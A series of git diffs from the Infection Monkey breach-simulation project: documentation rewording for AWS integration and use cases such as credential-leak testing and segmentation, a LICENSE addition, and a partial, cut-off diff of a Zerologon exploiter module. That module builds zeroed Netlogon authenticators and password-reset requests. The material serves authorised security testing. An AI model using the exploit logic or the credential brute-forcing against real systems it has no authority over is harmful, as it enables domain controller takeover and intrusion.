AWS EC2, follow these quick steps to get up and running. +Assuming your network is already set up in AWS EC2, follow the steps below to get up and running quickly. ### Monkey Island deployment -In order to run the Monkeys directly from the Monkey Island server, you need to deploy the Monkey Island server to an AWS EC2 instance in the same network which you want to test. For information about deploying the Monkey Island server, see [setup](../../../setup). +In order to run the Infection Monkey agents directly from the Monkey Island server, you need to deploy the Monkey Island server to an AWS EC2 instance in the same network which you want to test. For information about deploying the Monkey Island server, see [setup](../../../setup). ### Setup IAM roles -In order for the Island to successfully view your instances, you'll need to set appropriate IAM roles to your instances. You can read more about IAM roles [in Amazon's documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html), but it's not necessary in order to follow this setup. +In order for the Infection Monkey to successfully view your instances, you'll need to set appropriate IAM roles for your instances. You can read more about IAM roles [in Amazon's documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html), but it's not necessary in order to follow this setup. #### Creating a custom IAM role @@ -34,7 +34,7 @@ Go to the [AWS IAM roles dashboard](https://console.aws.amazon.com/iam/home?#/ro #### Applying the IAM role to an instance -For each instance you'd like to access from the island, apply the new IAM role you've just created to the instance. For example: +For each instance you'd like to access from the Monkey Island, apply the new IAM role you've just created to the instance. For example: ![Applying a custom IAM role](/images/usage/integrations/monkey-island-aws-screenshot-4.png "Applying a custom IAM role") @@ -42,38 +42,38 @@ After applying the IAM role you should see this screen: ![Applying a custom IAM role](/images/usage/integrations/monkey-island-aws-screenshot-5.png "Applying a custom IAM role") -**Note: after setting IAM roles, the roles might take a few minutes (up to 10 minutes sometimes) to effectively kick in.** This is how AWS works and is not related to the Monkey implementation. See [this StackOverflow thread for more details.](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid) +**Note: after setting IAM roles, the roles might take a few minutes (up to 10 minutes sometimes) to effectively kick in.** This is how AWS works and is not related to the Infection Monkey implementation. See [this StackOverflow thread for more details.](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid) -### Setup SSM agent +### Setup the SSM agent -If your EC2 instances don't have the _SSM agent_ installed, they will not be able to execute SSM commands, which means you won't see them in the AWS machines table on the monkey island. Generally speaking, most new EC2 instances ought to have SSM pre-installed; The SSM Agent is installed, by default, on Amazon Linux base AMIs dated 2017.09 and later, and on Amazon Linux 2, Ubuntu Server 16.04, and Ubuntu Server 18.04 LTS AMIs. +If your EC2 instances don't have the _SSM agent_ installed, they will not be able to execute SSM commands, which means you won't see them in the AWS machines table on the Monkey Island. Generally speaking, most new EC2 instances should have SSM pre-installed. The SSM Agent is installed, by default, on Amazon Linux base AMIs dated 2017.09 and later, on Amazon Linux 2, Ubuntu Server 16.04 and Ubuntu Server 18.04 LTS AMIs. -See [Amazon's documentation about working with SSM agents](https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html) for more details on how to check if you have an SSM agent and how to manually install one if you don't have one. +See [Amazon's documentation about working with SSM agents](https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html) for more details on how to check if you have an SSM agent and how to manually install one if you don't yet have it. ## Usage -### Running the monkey +### Running the Infection Monkey -When you run the Monkey Island on an AWS instance, the island detects it's running on AWS and present the following option in the _"Run Monkey"_ page, like so: +When you run the Monkey Island on an AWS instance, the island detects it's running on AWS and presents the following option on the _"Run Monkey"_ page: ![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-1.png "Running a Monkey on EC2 Instance") -After you click on "AWS run" you can choose one of the available instances as "patient zero" like so: +After you click on **Run on AWS machine of your choice** you can choose one of the available instances as "patient zero" by: -1. Choose the relevant Network Interface -2. Select the machines you'd like to run the Monkey on -3. Click "Run on Selected Machines", and watch the monkey go! πŸ’ +1. Choosing the relevant network interface +2. Selecting the machines you'd like to run the Infection Monkey on +3. Clicking **Run on Selected Machines** β€” now watch the Infection Monkey go! πŸ’ ![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-2.png "Running a Monkey on EC2 Instance") ## Notes -- The machines which can use IAM roles and be listed MUST be internet connected (or you can set up a proxy for IAM). This is standard AWS practice and you can read about it (and about how to set up the required proxy machines) in AWS IAM documentation. -- You can see the monkey in [the AWS marketplace](https://aws.amazon.com/marketplace/pp/B07B3J7K6D). +- The machines which can use IAM roles and be listed MUST be internet connected (or you can set up a proxy for IAM). This is standard AWS practice and you can read about it (and about how to set up the required proxy machines) in the AWS IAM documentation. +- You can view the Infection Monkey in [the AWS marketplace](https://aws.amazon.com/marketplace/pp/B07B3J7K6D). ### Appendix A: Specific policy permissions required -The IAM role will need to have, at least, the following specific permissions: +The IAM role will need to have, at minimum, the following specific permissions: #### For executing the Monkey on other machines - SSM @@ -100,7 +100,7 @@ Here's the policy of the IAM role, as a JSON object: } ``` -#### For exporting security findings to the Security Hub - security hub +#### For exporting security findings to the AWS Security Hub - security hub _Note: these can be set on the Monkey Island machine alone, since it's the only one exporting findings to the AWS secutiry hub._ @@ -126,7 +126,7 @@ Here's the policy for SecurityHub, as a JSON object: } ``` -The JSON object for both of the policies combined therefore is: +The JSON object for both of the policies combined is: ```json { diff --git a/docs/content/usage/integrations/aws-security-hub.md b/docs/content/usage/integrations/aws-security-hub.md index f708165fe..b0248235a 100644 --- a/docs/content/usage/integrations/aws-security-hub.md +++ b/docs/content/usage/integrations/aws-security-hub.md @@ -10,31 +10,31 @@ The Infection Monkey integration with the [AWS Security Hub](https://docs.aws.am ![AWS security hub logo](/images/usage/integrations/AWS-Security-Hub-logo.png "AWS security hub logo") -The integration will send _all_ Infection Monkey findings (typically low tens of findings) to the security hub at the end of a Monkey breach simulation. +The integration will send all Infection Monkey findings (typically 10 to 40) to the AWS Security Hub at the end of a breach simulation. ## Setup -If the correct permissions have been set on the AWS IAM role of the Monkey Island machine, then the Island will automatically export its findings to the AWS security hub. +If the correct AWS IAM role permissions have been set on the Monkey Island machine, it will automatically export its findings to the AWS Security Hub. -### Specific permissions required for security hub +### Specific permissions required for the AWS Security Hub - `"securityhub:UpdateFindings"` - `"securityhub:BatchImportFindings"` -Note that the integration is specifically between your Monkey Island and the security hub. The Infection Monkey is an free project and there is no centralised infrastructure. + +Note that this integration is specifically between your Monkey Island and the AWS Security Hub. The Infection Monkey is a free project, and there is no centralized infrastructure. ### Enabling finding reception -Before starting the scan, make sure that AWS Security Hub is accepting findings by enabling Infection Monkey - integration. Find **GuardiCore: AWS Infection Monkey** integration on the list and click on **Accept findings**. +Before starting the scan, make sure that the AWS Security Hub is accepting findings by enabling the Infection Monkey integration. Find **GuardiCore: AWS Infection Monkey** integration on the list and click on **Accept findings**. ![Enabled integration](/images/usage/integrations/security-hub-enable-accepting-findings.png "Enabled integration") ## Integration details -The Infection Monkey reports the following types of issues to the AWS security hub: `Software and Configuration Checks/Vulnerabilities/CVE`. +The Infection Monkey reports the following types of issues to the AWS Security Hub: `Software and Configuration Checks/Vulnerabilities/CVE`. -Specifically, the Island sends findings for all vulnerabilities it finds along with generic findings on the network (such as segmentation issues). Our normalized severity is 100, while most issues we report range between 1 and 10. +Specifically, the Infection Monkey sends findings for all vulnerabilities it finds along with generic findings on the network (such as segmentation issues). Our normalized severity is 100, while most issues we report range between 1 and 10. ## Regions @@ -42,9 +42,9 @@ The Infection Monkey is usable on all public AWS instances. ## Example -After setting up a monkey environment in AWS and attaching the correct IAM roles to the monkey island machine, the report findings were exported to the security hub. +After setting up the Infection Monkey in AWS and attaching the correct IAM roles to your Monkey Island machine, the report findings were exported to the AWS Security Hub. 1. Navigate to `Findings`. -2. Press on a specific finding to see more details and possible solutions. +2. Click on a specific finding to see more details and possible solutions. ![AWS Security hub console example](/images/usage/integrations/security-hub-console-example.png "AWS Security hub console example") diff --git a/docs/content/usage/use-cases/_index.md b/docs/content/usage/use-cases/_index.md index 836646100..d15d6b3c6 100644 --- a/docs/content/usage/use-cases/_index.md +++ b/docs/content/usage/use-cases/_index.md @@ -8,12 +8,11 @@ pre = " " # Use cases -This section describes possible use cases for the Infection Monkey and helps to -understand how this tool can be configured. +This section describes possible use cases for the Infection Monkey and how you can configure the tool. You can also refer to [our FAQ](../../faq) for more specific questions and answers. {{% notice note %}} -No worries! The Monkey uses safe exploiters and does not cause any permanent system modifications that impact security or operations. +Don't worry! The Infection Monkey uses safe exploiters and does not cause any permanent system modifications that could impact security or operations. {{% /notice %}} ## Section contents diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/use-cases/attack.md index d3e09fadc..bc13181cc 100644 --- a/docs/content/usage/use-cases/attack.md +++ b/docs/content/usage/use-cases/attack.md @@ -8,31 +8,22 @@ weight: 2 ## Overview -Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. -Use it to assess your security solutions' detection and prevention capabilities. Infection Monkey will help you find -which ATT&CK techniques go unnoticed and will provide recommendations about preventing them. +The Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. Use it to assess your security solutions' detection and prevention capabilities. The Infection Monkey will help you find which ATT&CK techniques go unnoticed and provide specific details along with suggested mitigations. ## Configuration -- **ATT&CK matrix** You can use ATT&CK configuration section to select which techniques you want the Monkey to simulate. -Leave default settings for the full simulation. -- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords -and usernames, but feel free to adjust it according to the default passwords used in your network. Keep in mind that -long lists means longer scanning times. -- **Network -> Scope** Disable β€œLocal network scan” and instead provide specific network ranges in -the β€œScan target list”. +- **ATT&CK matrix** You can use the ATT&CK configuration section to select which techniques you want the Infection Monkey to simulate. +For the full simulation, use the default settings. +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. +- **Network -> Scope** Disable β€œLocal network scan” and instead provide specific network ranges in the β€œScan target list”. ![ATT&CK matrix](/images/usage/scenarios/attack-matrix.png "ATT&CK matrix") ## Suggested run mode -Run the Infection Monkey on as many machines in your environment as you can to get a better assessment. This can be easily -achieved by selecting the β€œManual” run option and executing the command shown on different machines in your environment -manually or with your deployment tool. +Run the Infection Monkey on as many machines as you can. You can easily achieve this by selecting the β€œManual” run option and executing the command shown on different machines in your environment manually or with your deployment tool. Additionally, you can use any other run options you see fit. ## Assessing results -The **ATT&CK Report** shows the status of ATT&CK techniques simulations. Click on any technique to see more details -about it and potential mitigations. Keep in mind that each technique display contains a question mark symbol that -will take you to the official documentation of ATT&CK technique, where you can learn more about it. +The **ATT&CK Report** shows the status of simulations using ATT&CK techniques. Click on a technique to see more details about it and potential mitigations. Keep in mind that each technique display contains a question mark symbol that will take you to the official documentation of the specific ATT&CK technique used, where you can learn more about it. diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/use-cases/credential-leak.md index 0533db0e8..fa740b3a9 100644 --- a/docs/content/usage/use-cases/credential-leak.md +++ b/docs/content/usage/use-cases/credential-leak.md @@ -8,30 +8,28 @@ weight: 5 ## Overview -Numerous attack techniques(from phishing to dumpster diving) might result in a credential leak, +Numerous attack techniques (from phishing to dumpster diving) might result in a credential leak, which can be **extremely costly** as demonstrated in our report [IResponse to IEncrypt](https://www.guardicore.com/2019/04/iresponse-to-iencrypt/). -Infection Monkey can help assess the impact of stolen credentials by automatically searching -where these credentials can be reused. +The Infection Monkey can help you assess the impact of stolen credentials by automatically searching +where bad actors can reuse these credentials in your network. ## Configuration -- **Exploits -> Credentials** After setting up the Island add the users' **real** credentials -(usernames and passwords) to the Monkey's configuration (Don't worry, this sensitive data is not accessible and is not - distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island's configuration). -- **Internal -> Exploits -> SSH keypair list** Monkey automatically gathers SSH keys on the current system. -For this to work, Monkey Island or initial Monkey needs to have access to SSH key files(grant permission or run Monkey as root). -To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Monkey +- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials +(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island. +- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system. +For this to work, the Monkey Island or initial agent needs to access SSH key files. +To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey (content of keys will not be displayed, it will appear as ``). ## Suggested run mode -Execute the Monkey on a chosen machine in your network using the β€œManual” run option. -Run the Monkey as a privileged user to make sure it gathers as many credentials from the system as possible. +Execute the Infection Monkey on a chosen machine in your network using the β€œManual” run option. +Run the Infection Monkey as a privileged user to make sure it gathers as many credentials from the system as possible. ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") ## Assessing results -To assess the impact of leaked credentials see Security report. It's possible that credential leak resulted in even -more leaked credentials, for that look into **Security report -> Stolen credentials**. +To assess the impact of leaked credentials see the Security report. Examine **Security report -> Stolen credentials** to confirm. diff --git a/docs/content/usage/use-cases/network-breach.md b/docs/content/usage/use-cases/network-breach.md index 962878ea6..ff6885100 100644 --- a/docs/content/usage/use-cases/network-breach.md +++ b/docs/content/usage/use-cases/network-breach.md @@ -8,44 +8,40 @@ weight: 3 ## Overview -Whether it was the [Hex-men campaign](https://www.guardicore.com/2017/12/beware-the-hex-men/) that hit your -Internet-facing DB server, a [cryptomining operation that attacked your WordPress site](https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining-2/) -or any other malicious campaign – the attackers are now trying to go deeper into your network. +From the [Hex-Men campaign](https://www.guardicore.com/2017/12/beware-the-hex-men/) that hit +internet-facing DB servers to a [cryptomining operation that attacks WordPress sites](https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining-2/) or any other malicious campaign – attackers are now trying to go deeper into your network. -Infection Monkey will help you assess the impact of internal network breach, by trying to propagate within it - using service vulnerabilities, brute-forcing and other safe attack methods. +Infection Monkey will help you assess the impact of a future breach by attempting to propagate within your internal network using service vulnerabilities, brute-forcing and other safe exploiters. ## Configuration -- **Exploits -> Exploits** You can review the exploits Infection Monkey will be using. By default all +- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all safe exploiters are selected. -- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords - and usernames, but feel free to adjust it according to your native language and other factors. Keep in mind that long - lists means longer scanning times. +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan** - and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached or you can fine tune it by providing - specific network ranges in **Scan target list**. Scanning local network is more realistic, but providing specific - targets will make scanning process substantially faster. -- **(Optional) Internal -> Network -> TCP scanner** You can add custom ports your organization is using. -- **(Optional) Monkey -> Post Breach Actions** If you only want to test propagation in the network, you can turn off -all post breach actions. These actions simulate attacker's behaviour after getting access to a new system, but in no - way helps to exploit new machines. + and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing + specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific + targets will make the scanning process substantially faster. +- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using. +- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off +all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no + way helps the Infection Monkey exploit new machines. ![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector") ## Suggested run mode -Decide which machines you want to simulate a breach on and use the β€œManual” run option to start Monkeys there. -Use high privileges to run the Monkey to simulate an attacker that was able to elevate its privileges. -You could also simulate an attack initiated from an unidentified machine connected to the network (a technician -laptop, 3rd party vendor machine, etc) by running the Monkey on a dedicated machine with an IP in the network you +Decide which machines you want to simulate a breach on and use the β€œManual” run option to start the Infection Monkey on them. +Use administrative privileges to run the Infection Monkey to simulate an attacker that was able to elevate their privileges. +You could also simulate an attack initiated from an unidentified machine connected to the network (e.g., a technician +laptop or third-party vendor machine) by running the Infection Monkey on a dedicated machine with an IP in the network you wish to test. ## Assessing results -Check infection map and security report to see how far monkey managed to propagate in the network and which -vulnerabilities it used in doing so. If you left post breach actions selected, you should also check ATT&CK and -Zero Trust reports. +Check the infection map and Security report to see how far The Infection Monkey managed to propagate in your network and which +vulnerabilities it successfully exploited. If you left post-breach actions selected, you should also check the MITRE ATT&CK and +Zero Trust reports for more details. ![Map](/images/usage/use-cases/map-full-cropped.png "Map") diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/use-cases/network-segmentation.md index 31bd6a2c3..0f03b66a1 100644 --- a/docs/content/usage/use-cases/network-segmentation.md +++ b/docs/content/usage/use-cases/network-segmentation.md @@ -8,42 +8,33 @@ weight: 4 ## Overview -Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to -isolate workloads from one another and secure them individually, typically using policies. A useful way to test -the effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your -Development is separated from your Production, your applications are separated from one another etc. Use the -Infection Monkey to verify that your network segmentation is configured properly. This way you make sure that -even if a certain attacker has breached your defenses, it can't move laterally between segments. +Segmentation is a method of creating secure zones in data centers and cloud deployments. It allows organizations to isolate workloads from one another and secure them individually, typically using policies. A useful way to test your company's segmentation effectiveness is to ensure that your network segments are properly separated (e.g., your development environment is isolated from your production environment and your applications are isolated from one another). + +[Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network. It can reduce the network's attack surface and minimize the damage caused during a breach. + +You can use the Infection Monkey's cross-segment traffic feature to verify that your network segmentation configuration is adequate. This way, you can ensure that, even if a bad actor breaches your defenses, they can't move laterally between segments. -[Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing -the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with -its cross-segment traffic testing feature. ## Configuration - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define - subnets that should be segregated from each other. If any of provided networks can reach each other, you'll see it - in security report. -- **(Optional) Network -> Scope** You can disable **Local network scan** and leave other options by default if you only want to - test for network segmentation without any lateral movement. -- **(Optional) Monkey -> Post Breach Actions** If you only want to test segmentation in the network, you can turn off -all post breach actions. These actions simulate attacker's behaviour after getting access to a new system, so they - might trigger your defence solutions which will interrupt segmentation test. + subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it + in the security report. +- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement. +- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test. ## Suggested run mode -Execute Monkeys on machines in different subnetworks using the β€œManual” run option. +Execute The Infection Monkey on machines in different subnetworks using the β€œManual” run option. - Note that if Monkey can't communicate to the Island, it will - not be able to send scan results, so make sure all machines can reach the island. + Note that if the Infection Monkey can't communicate to the Monkey Island, it will + not be able to send scan results, so make sure all machines can reach the the Monkey Island. ![How to configure network segmentation testing](/images/usage/scenarios/segmentation-config.png "How to configure network segmentation testing") ## Assessing results -Check infection map and security report for segmentation problems. Ideally, all scanned nodes should only have - edges with the Island Server. +Check the infection map and security report for segmentation problems. Ideally, all scanned nodes should only have edges with the Monkey Island Server. ![Map](/images/usage/use-cases/segmentation-map.PNG "Map") - diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/use-cases/other.md index 2a17212b8..c22bb0296 100644 --- a/docs/content/usage/use-cases/other.md +++ b/docs/content/usage/use-cases/other.md @@ -7,55 +7,48 @@ weight: 100 --- ## Overview - -This page provides additional information about configuring monkeys, tips and tricks and creative usage scenarios. +This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios. ## Custom behaviour -If you want Monkey to run some kind of script or a tool after it breaches a machine, you can configure it in -**Configuration -> Monkey -> Post breach**. Just input commands you want executed in the corresponding fields. -You can also upload files and call them through commands you entered in command fields. +If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in +**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields. +You can also upload files and call them through the commands you entered. ## Accelerate the test To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. The following configuration values also have an impact on scanning speed: -- **Credentials** - the more usernames and passwords you input, the longer it will take the Monkey to scan machines having -remote access services. Monkeys try to stay elusive and leave a low impact, thus brute forcing takes longer than with -loud conventional tools. -- **Network scope** - scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your +- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have +remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools. +- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your networks bit by bit with multiple runs. -- **Post breach actions** - you can disable most of these if you only care about propagation. -- **Internal -> TCP scanner** - you can trim the list of ports monkey tries to scan increasing performance even further. +- **Post-breach actions** - If you only care about propagation, you can disable most of these. +- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance. ## Combining different scenarios -Infection Monkey is not limited to the scenarios mentioned in this section, once you get the hang of configuring it, -you might come up with your own use case or test all of suggested scenarios at the same time! Whatever you do, -Security, ATT&CK and Zero Trust reports will be waiting for you! +The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results! ## Persistent scanning -Use **Monkey -> Persistent** scanning configuration section to either have periodic scans or to increase reliability of -exploitations by running consecutive Infection Monkey scans. +Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey. ## Credentials -Every network has its old β€œskeleton keys” that should have long been discarded. Configure the Monkey with old and stale -passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island's -configuration, go to the β€œExploit password list” under β€œBasic - Credentials” and use the β€œ+” button to add the old -passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the -configuration: +Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded. + +To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") ## Check logged and monitored terminals -To see the Monkey executing in real-time on your servers, add the **post-breach action** command: -`wall β€œInfection Monkey was here”`. This post breach command will broadcast a message across all open terminals on -the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server. -Let you follow the breach β€œlive” alongside the infection map, and check which terminals are logged and monitored -inside your network. See below: +To see the Infection Monkey executing in real-time on your servers, add the **post-breach action** command: +`wall β€œInfection Monkey was here”`. This post-breach command will broadcast a message across all open terminals on the servers the Infection Monkey breached to achieve the following: +- Let you know the Monkey ran successfully on the server. +- Let you follow the breach β€œlive” alongside the infection map. +- Check which terminals are logged and monitored inside your network. ![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.") diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/use-cases/zero-trust.md index de3e37d39..84de1b61d 100644 --- a/docs/content/usage/use-cases/zero-trust.md +++ b/docs/content/usage/use-cases/zero-trust.md @@ -8,35 +8,25 @@ weight: 1 ## Overview -Infection Monkey will help you assess your progress on your journey to achieve Zero Trust network. -The Infection Monkey will automatically assess your readiness across the different +Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different [Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. ## Configuration -- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords -and usernames, but feel free to adjust it according to the default passwords used in your network. -Keep in mind that long lists means longer scanning times. -- **Network -> Scope** Disable β€œLocal network scan” and instead provide specific network ranges in the β€œScan target list”. +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. +- **Network -> Scope** Disable β€œLocal network scan” and instead provide specific network ranges in the β€œScan target list.” - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define subnets that should be segregated from each other. -In general, other configuration value defaults should be good enough, but feel free to see the β€œOther” section -for tips and tricks about other features and in-depth configuration parameters you can use. +In general, other configuration value defaults should be good enough, but feel free to see the β€œOther” section for tips and tricks about more features and in-depth configuration parameters you can use. ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") ## Suggested run mode -Run the Monkey on as many machines as you can. This can be easily achieved by selecting the β€œManual” run option and -executing the command shown on different machines in your environment manually or with your deployment tool. -In addition, you can use any other run options you see fit. +Run the Infection Monkey on as many machines as you can. You can easily achieve this by selecting the β€œManual” run option and executing the command shown on different machines in your environment manually or with your deployment tool. Additionally, you can use any other run options you see fit. ## Assessing results -See the results in the Zero Trust report section. β€œThe Summary” section will give you an idea about which Zero Trust -pillars were tested, how many tests were done and test statuses. Specific tests are described in the β€œTest Results” -section. The β€œFindings” section shows details about the Monkey actions. Click on β€œEvents” of different findings to -observe what exactly Infection Monkey did and when it was done. This should make it easy to cross reference events -with your security solutions and alerts/logs. +You can see your results in the Zero Trust report section. β€œThe Summary” section will give you an idea about which Zero Trust pillars were the Infection Monkey tested, how many tests were performed and test statuses. Specific tests are described in the β€œTest Results” section. The β€œFindings” section shows details about the Monkey actions. Click on β€œEvents” of different findings to observe what exactly the Infection Monkey did and when it did it. This should make it easy to cross reference events with your security solutions and alerts/logs. From cc6e3f687b2c545e09e3ad3b8d31b134c80be397 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 22 Feb 2021 17:44:15 +0530 Subject: [PATCH 312/466] Add SecureAuth Corporation acknowledgement to LICENSE.md --- LICENSE | 3 +++ 1 file changed, 3 insertions(+) diff --git a/LICENSE b/LICENSE index 94a9ed024..52c6a0280 100644 --- a/LICENSE +++ b/LICENSE @@ -5,6 +5,9 @@ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. + This product includes software developed by SecureAuth Corporation + (https://www.secureauth.com/). + Preamble The GNU General Public License is a free, copyleft license for From 4e281d9826801812bbcacfdcd10095d51ab04370 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 22 Feb 2021 17:47:27 +0530 Subject: [PATCH 313/466] CR changes: type hints and comment --- monkey/infection_monkey/exploit/zerologon.py | 16 +++++++--------- .../exploit/zerologon_utils/vuln_assessment.py | 0 2 files changed, 7 insertions(+), 9 deletions(-) create mode 100644 monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 8c99118de..2ad8a7259 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -11,7 +11,7 @@ from typing import Dict, List, Optional, Tuple import impacket import nmb.NetBIOS -from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType @@ -30,7 +30,7 @@ class ZerologonExploiter(HostExploiter): _EXPLOITED_SERVICE = "Netlogon" EXPLOIT_TYPE = ExploitType.VULNERABILITY RUNS_AGENT_ON_SUCCESS = False - MAX_ATTEMPTS = 2000 + MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 def __init__(self, host: object): @@ -121,7 +121,7 @@ class ZerologonExploiter(HostExploiter): rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def _try_zero_authenticate(self, rpc_con: object) -> object: + def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> object: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 flags = 0x212FFFFF @@ -157,7 +157,6 @@ class ZerologonExploiter(HostExploiter): raise Exception(f"Unexpected error: {ex}.") def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: - # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): exploit_attempt_result = self.try_exploit_attempt(rpc_con) @@ -179,7 +178,7 @@ class ZerologonExploiter(HostExploiter): except BaseException as e: LOG.info(f"Unexpected error: {e}") - def attempt_exploit(self, rpc_con: object) -> object: + def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object: request = nrpc.NetrServerPasswordSet2() ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = self.dc_handle + "\x00" @@ -188,7 +187,7 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) @staticmethod - def _set_up_request(request: object, dc_name: str) -> None: + def _set_up_request(request: nrps.NetrServerPasswordSet2, dc_name: str) -> None: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = b"\x00" * 8 authenticator["Timestamp"] = b"\x00" * 4 @@ -470,7 +469,6 @@ class ZerologonExploiter(HostExploiter): def _send_restoration_rpc_login_requests( self, rpc_con, original_pwd_nthash ) -> bool: - # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): restoration_attempt_result = self.try_restoration_attempt( rpc_con, 